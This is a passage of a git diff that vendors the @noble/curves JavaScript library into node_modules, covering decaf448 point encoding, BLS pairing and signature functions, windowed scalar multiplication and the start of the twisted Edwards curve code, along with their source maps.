= exports.ed448.CURVE.Fp.create; + const emsg = 'DecafPoint.fromHex: the hex is not valid encoding of DecafPoint'; + const s = bytes448ToNumberLE(hex); + // 1. Check that s_bytes is the canonical encoding of a field element, or else abort. + // 2. Check that s is non-negative, or else abort + if (!(0, utils_js_1.equalBytes)((0, utils_js_1.numberToBytesLE)(s, 56), hex) || (0, modular_js_1.isNegativeLE)(s, P)) + throw new Error(emsg); + const s2 = mod(s * s); // 1 + const u1 = mod(_1n + s2); // 2 + const u1sq = mod(u1 * u1); + const u2 = mod(u1sq - _4n * d * s2); // 3 + const { isValid, value: invsqrt } = invertSqrt(mod(u2 * u1sq)); // 4 + let u3 = mod((s + s) * invsqrt * u1 * SQRT_MINUS_D); // 5 + if ((0, modular_js_1.isNegativeLE)(u3, P)) + u3 = mod(-u3); + const x = mod(u3 * invsqrt * u2 * INVSQRT_MINUS_D); // 6 + const y = mod((_1n - s2) * invsqrt * u1); // 7 + const t = mod(x * y); // 8 + if (!isValid) + throw new Error(emsg); + return new DcfPoint(new exports.ed448.ExtendedPoint(x, y, _1n, t)); + } + /** + * Encodes decaf point to Uint8Array. + * https://datatracker.ietf.org/doc/html/draft-irtf-cfrg-ristretto255-decaf448-07#name-encode-2 + */ + toRawBytes() { + let { ex: x, ey: _y, ez: z, et: t } = this.ep; + const P = exports.ed448.CURVE.Fp.ORDER; + const mod = exports.ed448.CURVE.Fp.create; + const u1 = mod(mod(x + t) * mod(x - t)); // 1 + const x2 = mod(x * x); + const { value: invsqrt } = invertSqrt(mod(u1 * ONE_MINUS_D * x2)); // 2 + let ratio = mod(invsqrt * u1 * SQRT_MINUS_D); // 3 + if ((0, modular_js_1.isNegativeLE)(ratio, P)) + ratio = mod(-ratio); + const u2 = mod(INVSQRT_MINUS_D * ratio * z - t); // 4 + let s = mod(ONE_MINUS_D * invsqrt * x * u2); // 5 + if ((0, modular_js_1.isNegativeLE)(s, P)) + s = mod(-s); + return (0, utils_js_1.numberToBytesLE)(s, 56); + } + toHex() { + return (0, utils_js_1.bytesToHex)(this.toRawBytes()); + } + toString() { + return this.toHex(); + } + // Compare one point to another. + // https://datatracker.ietf.org/doc/html/draft-irtf-cfrg-ristretto255-decaf448-07#name-equals-2 + equals(other) { + assertDcfPoint(other); + const { ex: X1, ey: Y1 } = this.ep; + const { ex: X2, ey: Y2 } = other.ep; + const mod = exports.ed448.CURVE.Fp.create; + // (x1 * y2 == y1 * x2) + return mod(X1 * Y2) === mod(Y1 * X2); + } + add(other) { + assertDcfPoint(other); + return new DcfPoint(this.ep.add(other.ep)); + } + subtract(other) { + assertDcfPoint(other); + return new DcfPoint(this.ep.subtract(other.ep)); + } + multiply(scalar) { + return new DcfPoint(this.ep.multiply(scalar)); + } + multiplyUnsafe(scalar) { + return new DcfPoint(this.ep.multiplyUnsafe(scalar)); + } +} +exports.DecafPoint = (() => { + // decaf448 base point is ed448 base x 2 + // https://github.com/dalek-cryptography/curve25519-dalek/blob/59837c6ecff02b77b9d5ff84dbc239d0cf33ef90/vendor/ristretto.sage#L699 + if (!DcfPoint.BASE) + DcfPoint.BASE = new DcfPoint(exports.ed448.ExtendedPoint.BASE).multiply(_2n); + if (!DcfPoint.ZERO) + DcfPoint.ZERO = new DcfPoint(exports.ed448.ExtendedPoint.ZERO); + return DcfPoint; +})(); +// Hashing to decaf448. https://www.rfc-editor.org/rfc/rfc9380#appendix-C +const hashToDecaf448 = (msg, options) => { + const d = options.DST; + const DST = typeof d === 'string' ? (0, utils_1.utf8ToBytes)(d) : d; + const uniform_bytes = (0, hash_to_curve_js_1.expand_message_xof)(msg, DST, 112, 224, sha3_1.shake256); + const P = DcfPoint.hashToCurve(uniform_bytes); + return P; +}; +exports.hashToDecaf448 = hashToDecaf448; +exports.hash_to_decaf448 = exports.hashToDecaf448; // legacy +//# sourceMappingURL=ed448.js.map \ No newline at end of file diff --git a/node_modules/@noble/curves/ed448.js.map b/node_modules/@noble/curves/ed448.js.map new file mode 100644 index 000000000000..7a939a412c3b --- /dev/null +++ b/node_modules/@noble/curves/ed448.js.map @@ -0,0 +1 @@ +{"version":3,"file":"ed448.js","sourceRoot":"","sources":["src/ed448.ts"],"names":[],"mappings":";;;AAAA,sEAAsE;AACtE,6CAA8C;AAC9C,+CAA6F;AAC7F,sDAAqE;AACrE,sDAAuE;AACvE,4DAAsD;AACtD,kEAA6F;AAC7F,kDAO6B;AAG7B;;;;;;GAMG;AAEH,MAAM,YAAY,GAAG,IAAA,uBAAe,EAAC,GAAG,EAAE,CAAC,eAAQ,CAAC,MAAM,CAAC,EAAE,KAAK,EAAE,GAAG,EAAE,CAAC,CAAC,CAAC;AAC5E,MAAM,WAAW,GAAG,IAAA,uBAAe,EAAC,GAAG,EAAE,CAAC,eAAQ,CAAC,MAAM,CAAC,EAAE,KAAK,EAAE,EAAE,EAAE,CAAC,CAAC,CAAC;AAC1E,MAAM,MAAM,GAAG,MAAM,CACnB,yIAAyI,CAC1I,CAAC;AAEF,kBAAkB;AAClB,MAAM,GAAG,GAAG,MAAM,CAAC,CAAC,CAAC,EAAE,GAAG,GAAG,MAAM,CAAC,CAAC,CAAC,EAAE,GAAG,GAAG,MAAM,CAAC,CAAC,CAAC,EAAE,GAAG,GAAG,MAAM,CAAC,CAAC,CAAC,EAAE,IAAI,GAAG,MAAM,CAAC,EAAE,CAAC,CAAC;AAC5F,kBAAkB;AAClB,MAAM,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O,CAAC,KAAK,QAAQ,CAAC,CAAC,CAAC,IAAA,mBAAW,EAAC,CAAC,CAAC,CAAC,CAAC,CAAC,CAAC,CAAC;IACvD,MAAM,aAAa,GAAG,IAAA,qCAAkB,EAAC,GAAG,EAAE,GAAG,EAAE,GAAG,EAAE,GAAG,EAAE,eAAQ,CAAC,CAAC;IACvE,MAAM,CAAC,GAAG,QAAQ,CAAC,WAAW,CAAC,aAAa,CAAC,CAAC;IAC9C,OAAO,CAAC,CAAC;AACX,CAAC,CAAC;AANW,QAAA,cAAc,kBAMzB;AACW,QAAA,gBAAgB,GAAG,sBAAc,CAAC,CAAC,SAAS"} \ No newline at end of file diff --git a/node_modules/@noble/curves/esm/_shortw_utils.js b/node_modules/@noble/curves/esm/_shortw_utils.js new file mode 100644 index 000000000000..cc93e4582f16 --- /dev/null +++ b/node_modules/@noble/curves/esm/_shortw_utils.js @@ -0,0 +1,17 @@ +/*! noble-curves - MIT License (c) 2022 Paul Miller (paulmillr.com) */ +import { hmac } from '@noble/hashes/hmac'; +import { concatBytes, randomBytes } from '@noble/hashes/utils'; +import { weierstrass } from './abstract/weierstrass.js'; +// connects noble-curves to noble-hashes +export function getHash(hash) { + return { + hash, + hmac: (key, ...msgs) => hmac(hash, key, concatBytes(...msgs)), + randomBytes, + }; +} +export function createCurve(curveDef, defHash) { + const create = (hash) => weierstrass({ ...curveDef, ...getHash(hash) }); + return Object.freeze({ ...create(defHash), create }); +} +//# sourceMappingURL=_shortw_utils.js.map \ No newline at end of file diff --git a/node_modules/@noble/curves/esm/_shortw_utils.js.map b/node_modules/@noble/curves/esm/_shortw_utils.js.map new file mode 100644 index 000000000000..656ee45f7d4e --- /dev/null +++ b/node_modules/@noble/curves/esm/_shortw_utils.js.map @@ -0,0 +1 @@ +{"version":3,"file":"_shortw_utils.js","sourceRoot":"","sources":["../src/_shortw_utils.ts"],"names":[],"mappings":"AAAA,sEAAsE;AACtE,OAAO,EAAE,IAAI,EAAE,MAAM,oBAAoB,CAAC;AAC1C,OAAO,EAAE,WAAW,EAAE,WAAW,EAAE,MAAM,qBAAqB,CAAC;AAC/D,OAAO,EAAE,WAAW,EAAa,MAAM,2BAA2B,CAAC;AAGnE,wCAAwC;AACxC,MAAM,UAAU,OAAO,CAAC,IAAW;IACjC,OAAO;QACL,IAAI;QACJ,IAAI,EAAE,CAAC,GAAe,EAAE,GAAG,IAAkB,EAAE,EAAE,CAAC,IAAI,CAAC,IAAI,EAAE,GAAG,EAAE,WAAW,CAAC,GAAG,IAAI,CAAC,CAAC;QACvF,WAAW;KACZ,CAAC;AACJ,CAAC;AAGD,MAAM,UAAU,WAAW,CAAC,QAAkB,EAAE,OAAc;IAC5D,MAAM,MAAM,GAAG,CAAC,IAAW,EAAE,EAAE,CAAC,WAAW,CAAC,EAAE,GAAG,QAAQ,EAAE,GAAG,OAAO,CAAC,IAAI,CAAC,EAAE,CAAC,CAAC;IAC/E,OAAO,MAAM,CAAC,MAAM,CAAC,EAAE,GAAG,MAAM,CAAC,OAAO,CAAC,EAAE,MAAM,EAAE,CAAC,CAAC;AACvD,CAAC"} \ No newline at end of file diff --git a/node_modules/@noble/curves/esm/abstract/bls.js b/node_modules/@noble/curves/esm/abstract/bls.js new file mode 100644 index 000000000000..290d6519f03b --- /dev/null +++ b/node_modules/@noble/curves/esm/abstract/bls.js @@ -0,0 +1,235 @@ +import { getMinHashLength, mapHashToField } from './modular.js'; +import { bitLen, bitGet, ensureBytes } from './utils.js'; +import * as htf from './hash-to-curve.js'; +import { weierstrassPoints, } from './weierstrass.js'; +// prettier-ignore +const _2n = BigInt(2), _3n = BigInt(3); +export function bls(CURVE) { + // Fields are specific for curve, so for now we'll need to pass them with opts + const { Fp, Fr, Fp2, Fp6, Fp12 } = CURVE.fields; + const BLS_X_LEN = bitLen(CURVE.params.x); + // Pre-compute coefficients for sparse multiplication + // Point addition and point double calculations is reused for coefficients + function calcPairingPrecomputes(p) { + const { x, y } = p; + // prettier-ignore + const Qx = x, Qy = y, Qz = Fp2.ONE; + // prettier-ignore + let Rx = Qx, Ry = Qy, Rz = Qz; + let ell_coeff = []; + for (let i = BLS_X_LEN - 2; i >= 0; i--) { + // Double + let t0 = Fp2.sqr(Ry); // Ry² + let t1 = Fp2.sqr(Rz); // Rz² + let t2 = Fp2.multiplyByB(Fp2.mul(t1, _3n)); // 3 * T1 * B + let t3 = Fp2.mul(t2, _3n); // 3 * T2 + let t4 = Fp2.sub(Fp2.sub(Fp2.sqr(Fp2.add(Ry, Rz)), t1), t0); // (Ry + Rz)² - T1 - T0 + ell_coeff.push([ + Fp2.sub(t2, t0), + Fp2.mul(Fp2.sqr(Rx), _3n), + Fp2.neg(t4), // -T4 + ]); + Rx = Fp2.div(Fp2.mul(Fp2.mul(Fp2.sub(t0, t3), Rx), Ry), _2n); // ((T0 - T3) * Rx * Ry) / 2 + Ry = Fp2.sub(Fp2.sqr(Fp2.div(Fp2.add(t0, t3), _2n)), Fp2.mul(Fp2.sqr(t2), _3n)); // ((T0 + T3) / 2)² - 3 * T2² + Rz = Fp2.mul(t0, t4); // T0 * T4 + if (bitGet(CURVE.params.x, i)) { + // Addition + let t0 = Fp2.sub(Ry, Fp2.mul(Qy, Rz)); // Ry - Qy * Rz + let t1 = Fp2.sub(Rx, Fp2.mul(Qx, Rz)); // Rx - Qx * Rz + ell_coeff.push([ + Fp2.sub(Fp2.mul(t0, Qx), Fp2.mul(t1, Qy)), + Fp2.neg(t0), + t1, // T1 + ]); + let t2 = Fp2.sqr(t1); // T1² + let t3 = Fp2.mul(t2, t1); // T2 * T1 + let t4 = Fp2.mul(t2, Rx); // T2 * Rx + let t5 = Fp2.add(Fp2.sub(t3, Fp2.mul(t4, _2n)), Fp2.mul(Fp2.sqr(t0), Rz)); // T3 - 2 * T4 + T0² * Rz + Rx = Fp2.mul(t1, t5); // T1 * T5 + Ry = Fp2.sub(Fp2.mul(Fp2.sub(t4, t5), t0), Fp2.mul(t3, Ry)); // (T4 - T5) * T0 - T3 * Ry + Rz = Fp2.mul(Rz, t3); // Rz * T3 + } + } + return ell_coeff; + } + function millerLoop(ell, g1) { + const { x } = CURVE.params; + const Px = g1[0]; + const Py = g1[1]; + let f12 = Fp12.ONE; + for (let j = 0, i = BLS_X_LEN - 2; i >= 0; i--, j++) { + const E = ell[j]; + f12 = Fp12.multiplyBy014(f12, E[0], Fp2.mul(E[1], Px), Fp2.mul(E[2], Py)); + if (bitGet(x, i)) { + j += 1; + const F = ell[j]; + f12 = Fp12.multiplyBy014(f12, F[0], Fp2.mul(F[1], Px), Fp2.mul(F[2], Py)); + } + if (i !== 0) + f12 = Fp12.sqr(f12); + } + return Fp12.conjugate(f12); + } + const utils = { + randomPrivateKey: () => { + const length = getMinHashLength(Fr.ORDER); + return mapHashToField(CURVE.randomBytes(length), Fr.ORDER); + }, + calcPairingPrecomputes, + }; + // Point on G1 curve: (x, y) + const G1_ = weierstrassPoints({ n: Fr.ORDER, ...CURVE.G1 }); + const G1 = Object.assign(G1_, htf.createHasher(G1_.ProjectivePoint, CURVE.G1.mapToCurve, { + ...CURVE.htfDefaults, + ...CURVE.G1.htfDefaults, + })); + function pairingPrecomputes(point) { + const p = point; + if (p._PPRECOMPUTES) + return p._PPRECOMPUTES; + p._PPRECOMPUTES = calcPairingPrecomputes(point.toAffine()); + return p._PPRECOMPUTES; + } + // TODO: export + // function clearPairingPrecomputes(point: G2) { + // const p = point as G2 & withPairingPrecomputes; + // p._PPRECOMPUTES = undefined; + // } + // Point on G2 curve (complex numbers): (x₁, x₂+i), (y₁, y₂+i) + const G2_ = weierstrassPoints({ n: Fr.ORDER, ...CURVE.G2 }); + const G2 = Object.assign(G2_, htf.createHasher(G2_.ProjectivePoint, CURVE.G2.mapToCurve, { + ...CURVE.htfDefaults, + ...CURVE.G2.htfDefaults, + })); + const { Signature } = CURVE.G2; + // Calculates bilinear pairing + function pairing(Q, P, withFinalExponent = true) { + if (Q.equals(G1.ProjectivePoint.ZERO) || P.equals(G2.ProjectivePoint.ZERO)) + throw new Error('pairing is not available for ZERO point'); + Q.assertValidity(); + P.assertValidity(); + // Performance: 9ms for millerLoop and ~14ms for exp. + const Qa = Q.toAffine(); + const looped = millerLoop(pairingPrecomputes(P), [Qa.x, Qa.y]); + return withFinalExponent ? Fp12.finalExponentiate(looped) : looped; + } + function normP1(point) { + return point instanceof G1.ProjectivePoint ? point : G1.ProjectivePoint.fromHex(point); + } + function normP2(point) { + return point instanceof G2.ProjectivePoint ? point : Signature.fromHex(point); + } + function normP2Hash(point, htfOpts) { + return point instanceof G2.ProjectivePoint + ? point + : G2.hashToCurve(ensureBytes('point', point), htfOpts); + } + // Multiplies generator by private key. + // P = pk x G + function getPublicKey(privateKey) { + return G1.ProjectivePoint.fromPrivateKey(privateKey).toRawBytes(true); + } + function sign(message, privateKey, htfOpts) { + const msgPoint = normP2Hash(message, htfOpts); + msgPoint.assertValidity(); + const sigPoint = msgPoint.multiply(G1.normPrivateKeyToScalar(privateKey)); + if (message instanceof G2.ProjectivePoint) + return sigPoint; + return Signature.toRawBytes(sigPoint); + } + // Checks if pairing of public key & hash is equal to pairing of generator & signature. + // e(P, H(m)) == e(G, S) + function verify(signature, message, publicKey, htfOpts) { + const P = normP1(publicKey); + const Hm = normP2Hash(message, htfOpts); + const G = G1.ProjectivePoint.BASE; + const S = normP2(signature); + // Instead of doing 2 exponentiations, we use property of billinear maps + // and do one exp after multiplying 2 points. + const ePHm = pairing(P.negate(), Hm, false); + const eGS = pairing(G, S, false); + const exp = Fp12.finalExponentiate(Fp12.mul(eGS, ePHm)); + return Fp12.eql(exp, Fp12.ONE); + } + function aggregatePublicKeys(publicKeys) { + if (!publicKeys.length) + throw new Error('Expected non-empty array'); + const agg = publicKeys.map(normP1).reduce((sum, p) => sum.add(p), G1.ProjectivePoint.ZERO); + const aggAffine = agg; //.toAffine(); + if (publicKeys[0] instanceof G1.ProjectivePoint) { + aggAffine.assertValidity(); + return aggAffine; + } + // toRawBytes ensures point validity + return aggAffine.toRawBytes(true); + } + function aggregateSignatures(signatures) { + if (!signatures.length) + throw new Error('Expected non-empty array'); + const agg = signatures.map(normP2).reduce((sum, s) => sum.add(s), G2.ProjectivePoint.ZERO); + const aggAffine = agg; //.toAffine(); + if (signatures[0] instanceof G2.ProjectivePoint) { + aggAffine.assertValidity(); + return aggAffine; + } + return Signature.toRawBytes(aggAffine); + } + // https://ethresear.ch/t/fast-verification-of-multiple-bls-signatures/5407 + // e(G, S) = e(G, SUM(n)(Si)) = MUL(n)(e(G, Si)) + function verifyBatch(signature, messages, publicKeys, htfOpts) { + // @ts-ignore + // console.log('verifyBatch', bytesToHex(signature as any), messages, publicKeys.map(bytesToHex)); + if (!messages.length) + throw new Error('Expected non-empty messages array'); + if (publicKeys.length !== messages.length) + throw new Error('Pubkey count should equal msg count'); + const sig = normP2(signature); + const nMessages = messages.map((i) => normP2Hash(i, htfOpts)); + const nPublicKeys = publicKeys.map(normP1); + try { + const paired = []; + for (const message of new Set(nMessages)) { + const groupPublicKey = nMessages.reduce((groupPublicKey, subMessage, i) => subMessage === message ? groupPublicKey.add(nPublicKeys[i]) : groupPublicKey, G1.ProjectivePoint.ZERO); + // const msg = message instanceof PointG2 ? message : await PointG2.hashToCurve(message); + // Possible to batch pairing for same msg with different groupPublicKey here + paired.push(pairing(groupPublicKey, message, false)); + } + paired.push(pairing(G1.ProjectivePoint.BASE.negate(), sig, false)); + const product = paired.reduce((a, b) => Fp12.mul(a, b), Fp12.ONE); + const exp = Fp12.finalExponentiate(product); + return Fp12.eql(exp, Fp12.ONE); + } + catch { + return false; + } + } + G1.ProjectivePoint.BASE._setWindowSize(4); + return { + getPublicKey, + sign, + verify, + verifyBatch, + aggregatePublicKeys, + aggregateSignatures, + millerLoop, + pairing, + G1, + G2, + Signature, + fields: { + Fr, + Fp, + Fp2, + Fp6, + Fp12, + }, + params: { + x: CURVE.params.x, + r: CURVE.params.r, + G1b: CURVE.G1.b, + G2b: CURVE.G2.b, + }, + utils, + }; +} +//# sourceMappingURL=bls.js.map \ No newline at end of file diff --git a/node_modules/@noble/curves/esm/abstract/bls.js.map b/node_modules/@noble/curves/esm/abstract/bls.js.map new file mode 100644 index 000000000000..5c3b5d10c690 --- /dev/null +++ b/node_modules/@noble/curves/esm/abstract/bls.js.map @@ -0,0 +1 @@ +{"version":3,"file":"bls.js","sourceRoot":"","sources":["../../src/abstract/bls.ts"],"names":[],"mappings":"AAcA,OAAO,EAAU,gBAAgB,EAAE,cAAc,EAAE,MAAM,cAAc,CAAC;AACxE,OAAO,EAAuB,MAAM,EAAE,MAAM,EAAE,WAAW,EAAE,MAAM,YAAY,CAAC;AAC9E,OAAO,KAAK,GAAG,MAAM,oBAAoB,CAAC;AAC1C,OAAO,EAIL,iBAAiB,GAClB,MAAM,kBAAkB,CAAC;AAI1B,kBAAkB;AAClB,MAAM,GAAG,GAAG,MAAM,CAAC,CAAC,CAAC,EAAE,GAAG,GAAG,MAAM,CAAC,CAAC,CAAC,CAAC;AA2FvC,MAAM,UAAU,GAAG,CACjB,KAAoC;IAEpC,8EAA8E;IAC9E,MAAM,EAAE,EAAE,EAAE,EAAE,EAAE,GAAG,EAAE,GAAG,EAAE,IAAI,EAAE,GAAG,KAAK,CAAC,MAAM,CAAC;IAChD,MAAM,SAAS,GAAG,MAAM,CAAC,KAAK,CAAC,MAAM,CAAC,CAAC,CAAC,CAAC;IAEzC,qDAAqD;IACrD,0EAA0E;IAC1E,SAAS,sBAAsB,CAAC,CAAmB;QACjD,MAAM,EAAE,CAAC,EAAE,CAAC,EAAE,GAAG,CAAC,CAAC;QACnB,kBAAkB;QAClB,MAAM,EAAE,GAAG,CAAC,EAAE,EAAE,GAAG,CAAC,EAAE,EAAE,GAAG,GAAG,CAAC,GAAG,CAAC;QACnC,kBAAkB;QAClB,IAAI,EAAE,GAAG,EAAE,EAAE,EAAE,GAAG,EAAE,EAAE,EAAE,GAAG,EAAE,CAAC;QAC9B,IAAI,SAAS,GAAsB,EAAE,CAAC;QACtC,KAAK,IAAI,CAAC,GAAG,SAAS,GAAG,CAAC,EAA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mBAAmB;QACnB,mBAAmB;QACnB,UAAU;QACV,OAAO;QACP,EAAE;QACF,EAAE;QACF,SAAS;QACT,MAAM,EAAE;YACN,EAAE;YACF,EAAE;YACF,GAAG;YACH,GAAG;YACH,IAAI;SACL;QACD,MAAM,EAAE;YACN,CAAC,EAAE,KAAK,CAAC,MAAM,CAAC,CAAC;YACjB,CAAC,EAAE,KAAK,CAAC,MAAM,CAAC,CAAC;YACjB,GAAG,EAAE,KAAK,CAAC,EAAE,CAAC,CAAC;YACf,GAAG,EAAE,KAAK,CAAC,EAAE,CAAC,CAAC;SAChB;QACD,KAAK;KACN,CAAC;AACJ,CAAC"} \ No newline at end of file diff --git a/node_modules/@noble/curves/esm/abstract/curve.js b/node_modules/@noble/curves/esm/abstract/curve.js new file mode 100644 index 000000000000..3454763ef84e --- /dev/null +++ b/node_modules/@noble/curves/esm/abstract/curve.js @@ -0,0 +1,156 @@ +/*! noble-curves - MIT License (c) 2022 Paul Miller (paulmillr.com) */ +// Abelian group utilities +import { validateField, nLength } from './modular.js'; +import { validateObject } from './utils.js'; +const _0n = BigInt(0); +const _1n = BigInt(1); +// Elliptic curve multiplication of Point by scalar. Fragile. +// Scalars should always be less than curve order: this should be checked inside of a curve itself. +// Creates precomputation tables for fast multiplication: +// - private scalar is split by fixed size windows of W bits +// - every window point is collected from window's table & added to accumulator +// - since windows are different, same point inside tables won't be accessed more than once per calc +// - each multiplication is 'Math.ceil(CURVE_ORDER / 𝑊) + 1' point additions (fixed for any scalar) +// - +1 window is neccessary for wNAF +// - wNAF reduces table size: 2x less memory + 2x faster generation, but 10% slower multiplication +// TODO: Research returning 2d JS array of windows, instead of a single window. This would allow +// windows to be in different memory locations +export function wNAF(c, bits) { + const constTimeNegate = (condition, item) => { + const neg = item.negate(); + return condition ? neg : item; + }; + const opts = (W) => { + const windows = Math.ceil(bits / W) + 1; // +1, because + const windowSize = 2 ** (W - 1); // -1 because we skip zero + return { windows, windowSize }; + }; + return { + constTimeNegate, + // non-const time multiplication ladder + unsafeLadder(elm, n) { + let p = c.ZERO; + let d = elm; + while (n > _0n) { + if (n & _1n) + p = p.add(d); + d = d.double(); + n >>= _1n; + } + return p; + }, + /** + * Creates a wNAF precomputation window. Used for caching. + * Default window size is set by `utils.precompute()` and is equal to 8. + * Number of precomputed points depends on the curve size: + * 2^(𝑊−1) * (Math.ceil(𝑛 / 𝑊) + 1), where: + * - 𝑊 is the window size + * - 𝑛 is the bitlength of the curve order. + * For a 256-bit curve and window size 8, the number of precomputed points is 128 * 33 = 4224. + * @returns precomputed point tables flattened to a single array + */ + precomputeWindow(elm, W) { + const { windows, windowSize } = opts(W); + const points = []; + let p = elm; + let base = p; + for (let window = 0; window < windows; window++) { + base = p; + points.push(base); + // =1, because we skip zero + for (let i = 1; i < windowSize; i++) { + base = base.add(p); + points.push(base); + } + p = base.double(); + } + return points; + }, + /** + * Implements ec multiplication using precomputed tables and w-ary non-adjacent form. + * @param W window size + * @param precomputes precomputed tables + * @param n scalar (we don't check here, but should be less than curve order) + * @returns real and fake (for const-time) points + */ + wNAF(W, precomputes, n) { + // TODO: maybe check that scalar is less than group order? wNAF behavious is undefined otherwise + // But need to carefully remove other checks before wNAF. ORDER == bits here + const { windows, windowSize } = opts(W); + let p = c.ZERO; + let f = c.BASE; + const mask = BigInt(2 ** W - 1); // Create mask with W ones: 0b1111 for W=4 etc. + const maxNumber = 2 ** W; + const shiftBy = BigInt(W); + for (let window = 0; window < windows; window++) { + const offset = window * windowSize; + // Extract W bits. + let wbits = Number(n & mask); + // Shift number by W bits. + n >>= shiftBy; + // If the bits are bigger than max size, we'll split those. + // +224 => 256 - 32 + if (wbits > windowSize) { + wbits -= maxNumber; + n += _1n; + } + // This code was first written with assumption that 'f' and 'p' will never be infinity point: + // since each addition is multiplied by 2 ** W, it cannot cancel each other. However, + // there is negate now: it is possible that negated element from low value + // would be the same as high element, which will create carry into next window. + // It's not obvious how this can fail, but still worth investigating later. + // Check if we're onto Zero point. + // Add random point inside current window to f. + const offset1 = offset; + const offset2 = offset + Math.abs(wbits) - 1; // -1 because we skip zero + const cond1 = window % 2 !== 0; + const cond2 = wbits < 0; + if (wbits === 0) { + // The most important part for const-time getPublicKey + f = f.add(constTimeNegate(cond1, precomputes[offset1])); + } + else { + p = p.add(constTimeNegate(cond2, precomputes[offset2])); + } + } + // JIT-compiler should not eliminate f here, since it will later be used in normalizeZ() + // Even if the variable is still unused, there are some checks which will + // throw an exception, so compiler needs to prove they won't happen, which is hard. + // At this point there is a way to F be infinity-point even if p is not, + // which makes it less const-time: around 1 bigint multiply. + return { p, f }; + }, + wNAFCached(P, precomputesMap, n, transform) { + // @ts-ignore + const W = P._WINDOW_SIZE || 1; + // Calculate precomputes on a first run, reuse them after + let comp = precomputesMap.get(P); + if (!comp) { + comp = this.precomputeWindow(P, W); + if (W !== 1) { + precomputesMap.set(P, transform(comp)); + } + } + return this.wNAF(W, comp, n); + }, + }; +} +export function validateBasic(curve) { + validateField(curve.Fp); + validateObject(curve, { + n: 'bigint', + h: 'bigint', + Gx: 'field', + Gy: 'field', + }, { + nBitLength: 'isSafeInteger', + nByteLength: 'isSafeInteger', + }); + // Set defaults + return Object.freeze({ + ...nLength(curve.n, curve.nBitLength), + ...curve, + ...{ p: curve.Fp.ORDER }, + }); +} +//# sourceMappingURL=curve.js.map \ No newline at end of file diff --git a/node_modules/@noble/curves/esm/abstract/curve.js.map b/node_modules/@noble/curves/esm/abstract/curve.js.map new file mode 100644 index 000000000000..f0fbc7d3ba5b --- /dev/null +++ b/node_modules/@noble/curves/esm/abstract/curve.js.map @@ -0,0 +1 @@ +{"version":3,"file":"curve.js","sourceRoot":"","sources":["../../src/abstract/curve.ts"],"names":[],"mappings":"AAAA,sEAAsE;AACtE,0BAA0B;AAC1B,OAAO,EAAU,aAAa,EAAE,OAAO,EAAE,MAAM,cAAc,CAAC;AAC9D,OAAO,EAAE,cAAc,EAAE,MAAM,YAAY,CAAC;AAC5C,MAAM,GAAG,GAAG,MAAM,CAAC,CAAC,C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I,CAAC,CAAC;YACtC,yDAAyD;YACzD,IAAI,IAAI,GAAG,cAAc,CAAC,GAAG,CAAC,CAAC,CAAC,CAAC;YACjC,IAAI,CAAC,IAAI,EAAE;gBACT,IAAI,GAAG,IAAI,CAAC,gBAAgB,CAAC,CAAC,EAAE,CAAC,CAAQ,CAAC;gBAC1C,IAAI,CAAC,KAAK,CAAC,EAAE;oBACX,cAAc,CAAC,GAAG,CAAC,CAAC,EAAE,SAAS,CAAC,IAAI,CAAC,CAAC,CAAC;iBACxC;aACF;YACD,OAAO,IAAI,CAAC,IAAI,CAAC,CAAC,EAAE,IAAI,EAAE,CAAC,CAAC,CAAC;QAC/B,CAAC;KACF,CAAC;AACJ,CAAC;AAgBD,MAAM,UAAU,aAAa,CAAQ,KAAyB;IAC5D,aAAa,CAAC,KAAK,CAAC,EAAE,CAAC,CAAC;IACxB,cAAc,CACZ,KAAK,EACL;QACE,CAAC,EAAE,QAAQ;QACX,CAAC,EAAE,QAAQ;QACX,EAAE,EAAE,OAAO;QACX,EAAE,EAAE,OAAO;KACZ,EACD;QACE,UAAU,EAAE,eAAe;QAC3B,WAAW,EAAE,eAAe;KAC7B,CACF,CAAC;IACF,eAAe;IACf,OAAO,MAAM,CAAC,MAAM,CAAC;QACnB,GAAG,OAAO,CAAC,KAAK,CAAC,CAAC,EAAE,KAAK,CAAC,UAAU,CAAC;QACrC,GAAG,KAAK;QACR,GAAG,EAAE,CAAC,EAAE,KAAK,CAAC,EAAE,CAAC,KAAK,EAAE;KAChB,CAAC,CAAC;AACd,CAAC"} \ No newline at end of file diff --git a/node_modules/@noble/curves/esm/abstract/edwards.js b/node_modules/@noble/curves/esm/abstract/edwards.js new file mode 100644 index 000000000000..de5123ae514b --- /dev/null +++ b/node_modules/@noble/curves/esm/abstract/edwards.js @@ -0,0 +1,425 @@ +/*! noble-curves - MIT License (c) 2022 Paul Miller (paulmillr.com) */ +// Twisted Edwards curve. The formula is: ax² + y² = 1 + dx²y² +import { mod } from './modular.js'; +import * as ut from './utils.js'; +import { ensureBytes } from './utils.js'; +import { wNAF, validateBasic } from './curve.js'; +// Be friendly to bad ECMAScript parsers by not using bigint literals +// prettier-ignore +const _0n = BigInt(0), _1n = BigInt(1), _2n = BigInt(2), _8n = BigInt(8); +// verification rule is either zip215 or rfc8032 / nist186-5. Consult fromHex: +const VERIFY_DEFAULT = { zip215: true }; +function validateOpts(curve) { + const opts = validateBasic(curve); + ut.validateObject(curve, { + hash: 'function', + a: 'bigint', + d: 'bigint', + randomBytes: 'function', + }, { + adjustScalarBytes: 'function', + domain: 'function', + uvRatio: 'function', + mapToCurve: 'function', + }); + // Set defaults + return Object.freeze({ ...opts }); +} +// It is not generic twisted curve for now, but ed25519/ed448 generic implementation +export function twistedEdwards(curveDef) { + const CURVE = validateOpts(curveDef); + const { Fp, n: CURVE_ORDER, prehash: prehash, hash: cHash, randomBytes, nByteLength, h: cofactor, } = CURVE; + const MASK = _2n << (BigInt(nByteLength * 8) - _1n); + const modP = Fp.create; // Function overrides + // sqrt(u/v) + const uvRatio = CURVE.uvRatio || + ((u, v) => { + try { + return { isValid: true, value: Fp.sqrt(u * Fp.inv(v)) }; + } + catch (e) { + return { isValid: false, value: _0n }; + } + }); + const adjustScalarBytes = CURVE.adjustScalarBytes || ((bytes) => bytes); // NOOP + const domain = CURVE.domain || + ((data, ctx, phflag) => { + if (ctx.length || phflag) + throw new Error('Contexts/pre-hash are not supported'); + return data; + }); // NOOP + const inBig = (n) => typeof n === 'bigint' && _0n < n; // n in [1..] + const inRange = (n, max) => inBig(n) && inBig(max) && n < max; // n in [1..max-1] + const in0MaskRange = (n) => n === _0n || inRange(n, MASK); // n in [0..MASK-1] + function assertInRange(n, max) { + // n in [1..max-1] + if (inRange(n, max)) + return n; + throw new Error(`Expected valid scalar < ${max}, got ${typeof n} ${n}`); + } + function assertGE0(n) { + // n in [0..CURVE_ORDER-1] + return n === _0n ? n : assertInRange(n, 